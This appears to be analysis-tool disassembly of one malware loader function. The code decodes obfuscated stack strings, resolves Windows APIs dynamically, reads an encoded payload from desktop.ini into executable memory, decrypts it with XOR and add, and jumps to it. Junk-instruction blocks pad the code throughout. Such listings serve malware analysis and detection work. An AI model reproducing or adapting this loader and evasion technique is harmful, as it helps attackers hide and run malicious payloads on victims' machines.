Function at 0x10001240
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x90
push ebx
push esi
mov byte [ebp - 0x88], 0x66
mov byte [ebp - 0x87], 0x6d
mov byte [ebp - 0x86], 0x6e
mov byte [ebp - 0x85], 0x4b
mov byte [ebp - 0x84], 0x76
mov byte [ebp - 0x83], 0x6e
mov byte [ebp - 0x82], 0x63
mov byte [ebp - 0x81], 0x6d
mov byte [ebp - 0x80], 0x68
mov byte [ebp - 0x7f], 0x56
mov byte [ebp - 0x7e], 0x73
mov byte [ebp - 0x7d], 0x64
mov byte [ebp - 0x7c], 0x46
mov byte [ebp - 0x7b], 0x7b
mov byte [ebp - 0x7a], 0x64
mov byte [ebp - 0x79], 0x6b
mov byte [ebp - 0x78], 0x68
mov byte [ebp - 0x77], 0x45
mov byte [ebp - 0x76], 0x63
mov byte [ebp - 0x75], 0x60
mov byte [ebp - 0x74], 0x64
mov byte [ebp - 0x73], 0x51
mov byte [ebp - 0x72], 0x7b
mov byte [ebp - 0x71], 0x72
mov byte [ebp - 0x70], 0x72
mov byte [ebp - 0x6f], 0x64
mov byte [ebp - 0x6e], 0x62
mov byte [ebp - 0x6d], 0x6e
mov byte [ebp - 0x6c], 0x71
mov byte [ebp - 0x6b], 0x4f
mov byte [ebp - 0x6a], 0x73
mov byte [ebp - 0x69], 0x68
mov byte [ebp - 0x68], 0x77
mov byte [ebp - 0x67], 0x44
mov byte [ebp - 0x66], 0x7b
mov byte [ebp - 0x65], 0x62
mov byte [ebp - 0x64], 0x6e
mov byte [ebp - 0x63], 0x6b
mov byte [ebp - 0x62], 0x6b
mov byte [ebp - 0x61], 0x40
mov byte [ebp - 0x60], 0x6b
mov byte [ebp - 0x5f], 0x60
mov byte [ebp - 0x5e], 0x74
mov byte [ebp - 0x5d], 0x73
mov byte [ebp - 0x5c], 0x71
mov byte [ebp - 0x5b], 0x68
mov byte [ebp - 0x5a], 0x55
mov byte [ebp - 0x59], 0x7b
mov byte [ebp - 0x58], 0x64
mov byte [ebp - 0x57], 0x66
mov byte [ebp - 0x56], 0x60
mov byte [ebp - 0x55], 0x72
mov byte [ebp - 0x54], 0x72
mov byte [ebp - 0x53], 0x64
mov byte [ebp - 0x52], 0x4c
mov byte [ebp - 0x51], 0x63
mov byte [ebp - 0x50], 0x6d
mov byte [ebp - 0x4f], 0x64
mov byte [ebp - 0x4e], 0x52
mov byte [ebp - 0x4d], 0x7b
mov byte [ebp - 0x4c], 0x56
mov byte [ebp - 0x4b], 0x64
mov byte [ebp - 0x4a], 0x73
mov byte [ebp - 0x49], 0x74
mov byte [ebp - 0x48], 0x62
mov byte [ebp - 0x47], 0x64
mov byte [ebp - 0x46], 0x77
mov byte [ebp - 0x45], 0x44
mov byte [ebp - 0x44], 0x6b
mov byte [ebp - 0x43], 0x6b
mov byte [ebp - 0x42], 0x64
mov byte [ebp - 0x41], 0x67
mov byte [ebp - 0x40], 0x52
mov byte [ebp - 0x3f], 0x7b
mov byte [ebp - 0x3e], 0x56
mov byte [ebp - 0x3d], 0x77
mov byte [ebp - 0x3c], 0x6e
mov byte [ebp - 0x3b], 0x41
mov byte [ebp - 0x3a], 0x64
mov byte [ebp - 0x39], 0x66
mov byte [ebp - 0x38], 0x60
mov byte [ebp - 0x37], 0x72
mov byte [ebp - 0x36], 0x72
mov byte [ebp - 0x35], 0x64
mov byte [ebp - 0x34], 0x4c
mov byte [ebp - 0x33], 0x7b
mov byte [ebp - 0x32], 0x40
mov byte [ebp - 0x31], 0x64
mov byte [ebp - 0x30], 0x6b
mov byte [ebp - 0x2f], 0x68
mov byte [ebp - 0x2e], 0x45
mov byte [ebp - 0x2d], 0x64
mov byte [ebp - 0x2c], 0x73
mov byte [ebp - 0x2b], 0x60
mov byte [ebp - 0x2a], 0x64
mov byte [ebp - 0x29], 0x71
mov byte [ebp - 0x28], 0x42
mov byte [ebp - 0x27], 0x7b
mov byte [ebp - 0x26], 0x40
mov byte [ebp - 0x25], 0x77
mov byte [ebp - 0x24], 0x6e
mov byte [ebp - 0x23], 0x41
mov byte [ebp - 0x22], 0x64
mov byte [ebp - 0x21], 0x66
mov byte [ebp - 0x20], 0x60
mov byte [ebp - 0x1f], 0x72
mov byte [ebp - 0x1e], 0x72
mov byte [ebp - 0x1d], 0x64
mov byte [ebp - 0x1c], 0x4c
mov byte [ebp - 0x1b], 0
lea eax, [ebp - 0x88]
push eax
call fcn.10001200
add esp, 4
mov byte [ebp - 0x71], 0
mov byte [ebp - 0x65], 0
mov byte [ebp - 0x57], 0
mov byte [ebp - 0x4b], 0
mov byte [ebp - 0x3e], 0
mov byte [ebp - 0x29], 0
push eax
add dl, 0x54
add dl, 0x51
sub dl, 0xbe
add dl, 0x19
btc esi, 0x8d
xor dx, 0x1cee
xor dx, 0x3c5b
xor dx, 0xdefd
xor dx, 0xfe48
btc esi, 0x8d
cmp cx, 0xf324
pop eax
xor ah, dh
xor ah, dh
push eax
sub bh, dh
add bh, dh
ror bl, 0x3f
xor ah, dh
xor ah, dh
rol bl, 0x3f
xor cl, bl
xor cl, bl
pop eax
sub ch, cl
add ch, cl
push eax
cmp dl, ch
test bp, cx
xor al, 0xdd
xor al, 0xd9
xor al, 0xda
xor al, 0xde
pop eax
lea ecx, [ebp - 0x64]
push ecx
push str.shell32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x18], eax
push eax
add dl, 0x54
add dl, 0x51
sub dl, 0xbe
add dl, 0x19
btc esi, 0x8d
xor dx, 0x1cee
xor dx, 0x3c5b
xor dx, 0xdefd
xor dx, 0xfe48
btc esi, 0x8d
cmp cx, 0xf324
pop eax
xor ah, dh
xor ah, dh
push eax
sub bh, dh
add bh, dh
ror bl, 0x3f
xor ah, dh
xor ah, dh
rol bl, 0x3f
xor cl, bl
xor cl, bl
pop eax
sub ch, cl
add ch, cl
push eax
cmp dl, ch
test bp, cx
xor al, 0xdd
xor al, 0xd9
xor al, 0xda
xor al, 0xde
pop eax
lea edx, [ebp - 0x7c]
push edx
push 0x1000202c
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 8], eax
push eax
add dl, 0x54
add dl, 0x51
sub dl, 0xbe
add dl, 0x19
btc esi, 0x8d
xor dx, 0x1cee
xor dx, 0x3c5b
xor dx, 0xdefd
xor dx, 0xfe48
btc esi, 0x8d
cmp cx, 0xf324
pop eax
xor ah, dh
xor ah, dh
push eax
sub bh, dh
add bh, dh
ror bl, 0x3f
xor ah, dh
xor ah, dh
rol bl, 0x3f
xor cl, bl
xor cl, bl
pop eax
sub ch, cl
add ch, cl
push eax
cmp dl, ch
test bp, cx
xor al, 0xdd
xor al, 0xd9
xor al, 0xda
xor al, 0xde
pop eax
lea eax, [ebp - 0x31]
push eax
push 0x1000203c
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0xc], eax
push eax
add dl, 0x54
add dl, 0x51
sub dl, 0xbe
add dl, 0x19
btc esi, 0x8d
xor dx, 0x1cee
xor dx, 0x3c5b
xor dx, 0xdefd
xor dx, 0xfe48
btc esi, 0x8d
cmp cx, 0xf324
pop eax
xor ah, dh
xor ah, dh
push eax
sub bh, dh
add bh, dh
ror bl, 0x3f
xor ah, dh
xor ah, dh
rol bl, 0x3f
xor cl, bl
xor cl, bl
pop eax
sub ch, cl
add ch, cl
push eax
cmp dl, ch
test bp, cx
xor al, 0xdd
xor al, 0xd9
xor al, 0xda
xor al, 0xde
pop eax
lea ecx, [ebp - 0x4a]
push ecx
push str.kernel32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x10], eax
push eax
add dl, 0x54
add dl, 0x51
sub dl, 0xbe
add dl, 0x19
btc esi, 0x8d
xor dx, 0x1cee
xor dx, 0x3c5b
xor dx, 0xdefd
xor dx, 0xfe48
btc esi, 0x8d
cmp cx, 0xf324
pop eax
xor ah, dh
xor ah, dh
push eax
sub bh, dh
add bh, dh
ror bl, 0x3f
xor ah, dh
xor ah, dh
rol bl, 0x3f
xor cl, bl
xor cl, bl
pop eax
sub ch, cl
add ch, cl
push eax
cmp dl, ch
test bp, cx
xor al, 0xdd
xor al, 0xd9
xor al, 0xda
xor al, 0xde
pop eax
push 1
push 0
push 0
push 0x1000205c
push 0
push 0
call dword [ebp - 0x18]
push eax
add dl, 0x54
add dl, 0x51
sub dl, 0xbe
add dl, 0x19
btc esi, 0x8d
xor dx, 0x1cee
xor dx, 0x3c5b
xor dx, 0xdefd
xor dx, 0xfe48
btc esi, 0x8d
cmp cx, 0xf324
pop eax
xor ah, dh
xor ah, dh
push eax
sub bh, dh
add bh, dh
ror bl, 0x3f
xor ah, dh
xor ah, dh
rol bl, 0x3f
xor cl, bl
xor cl, bl
pop eax
sub ch, cl
add ch, cl
push eax
cmp dl, ch
test bp, cx
xor al, 0xdd
xor al, 0xd9
xor al, 0xda
xor al, 0xde
pop eax
push 0
push 0x80
push 3
push 0
push 1
push 0x80000000
push str.desktop.ini
call dword [ebp - 8]
mov dword [0x10003030], eax
cmp dword [0x10003030], 0xffffffff
jne 0x10001701
jmp 0x100018b6
push 0x40
push 0x1000
push 0x1000
push 0
call dword [ebp - 0x10]
mov dword [0x1000302c], eax
push 0
push 0x10003034
push 0x1000
mov edx, dword [0x1000302c]
push edx
mov eax, dword [0x10003030]
push eax
call dword [ebp - 0xc]
mov ecx, dword [0x1000302c]
mov dl, byte [ecx]
mov byte [ebp - 0x89], dl
push eax
add dl, 0x54
add dl, 0x51
sub dl, 0xbe
add dl, 0x19
btc esi, 0x8d
xor dx, 0x1cee
xor dx, 0x3c5b
xor dx, 0xdefd
xor dx, 0xfe48
btc esi, 0x8d
cmp cx, 0xf324
pop eax
xor ah, dh
xor ah, dh
push eax
sub bh, dh
add bh, dh
ror bl, 0x3f
xor ah, dh
xor ah, dh
rol bl, 0x3f
xor cl, bl
xor cl, bl
pop eax
sub ch, cl
add ch, cl
push eax
cmp dl, ch
test bp, cx
xor al, 0xdd
xor al, 0xd9
xor al, 0xda
xor al, 0xde
pop eax
mov dword [ebp - 4], 0x42
movzx eax, byte [ebp - 0x89]
xor eax, 0x4e
mov dword [ebp - 0x14], eax
push eax
add dl, 0x54
add dl, 0x51
sub dl, 0xbe
add dl, 0x19
btc esi, 0x8d
xor dx, 0x1cee
xor dx, 0x3c5b
xor dx, 0xdefd
xor dx, 0xfe48
btc esi, 0x8d
cmp cx, 0xf324
pop eax
xor ah, dh
xor ah, dh
push eax
sub bh, dh
add bh, dh
ror bl, 0x3f
xor ah, dh
xor ah, dh
rol bl, 0x3f
xor cl, bl
xor cl, bl
pop eax
sub ch, cl
add ch, cl
push eax
cmp dl, ch
test bp, cx
xor al, 0xdd
xor al, 0xd9
xor al, 0xda
xor al, 0xde
pop eax
mov dword [ebp - 0x90], 0
jmp 0x10001824
mov ecx, dword [ebp - 0x90]
add ecx, 1
mov dword [ebp - 0x90], ecx
mov edx, dword [ebp - 0x90]
cmp edx, dword [0x10003034]
jae 0x10001856
mov eax, dword [0x1000302c]
add eax, dword [ebp - 0x90]
movzx ecx, byte [eax]
xor ecx, dword [ebp - 0x14]
add ecx, dword [ebp - 4]
mov edx, dword [0x1000302c]
add edx, dword [ebp - 0x90]
mov byte [edx], cl
jmp 0x10001815
push eax
add dl, 0x54
add dl, 0x51
sub dl, 0xbe
add dl, 0x19
btc esi, 0x8d
xor dx, 0x1cee
xor dx, 0x3c5b
xor dx, 0xdefd
xor dx, 0xfe48
btc esi, 0x8d
cmp cx, 0xf324
pop eax
xor ah, dh
xor ah, dh
push eax
sub bh, dh
add bh, dh
ror bl, 0x3f
xor ah, dh
xor ah, dh
rol bl, 0x3f
xor cl, bl
xor cl, bl
pop eax
sub ch, cl
add ch, cl
push eax
cmp dl, ch
test bp, cx
xor al, 0xdd
xor al, 0xd9
xor al, 0xda
xor al, 0xde
pop eax
call dword [0x1000302c]
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0x10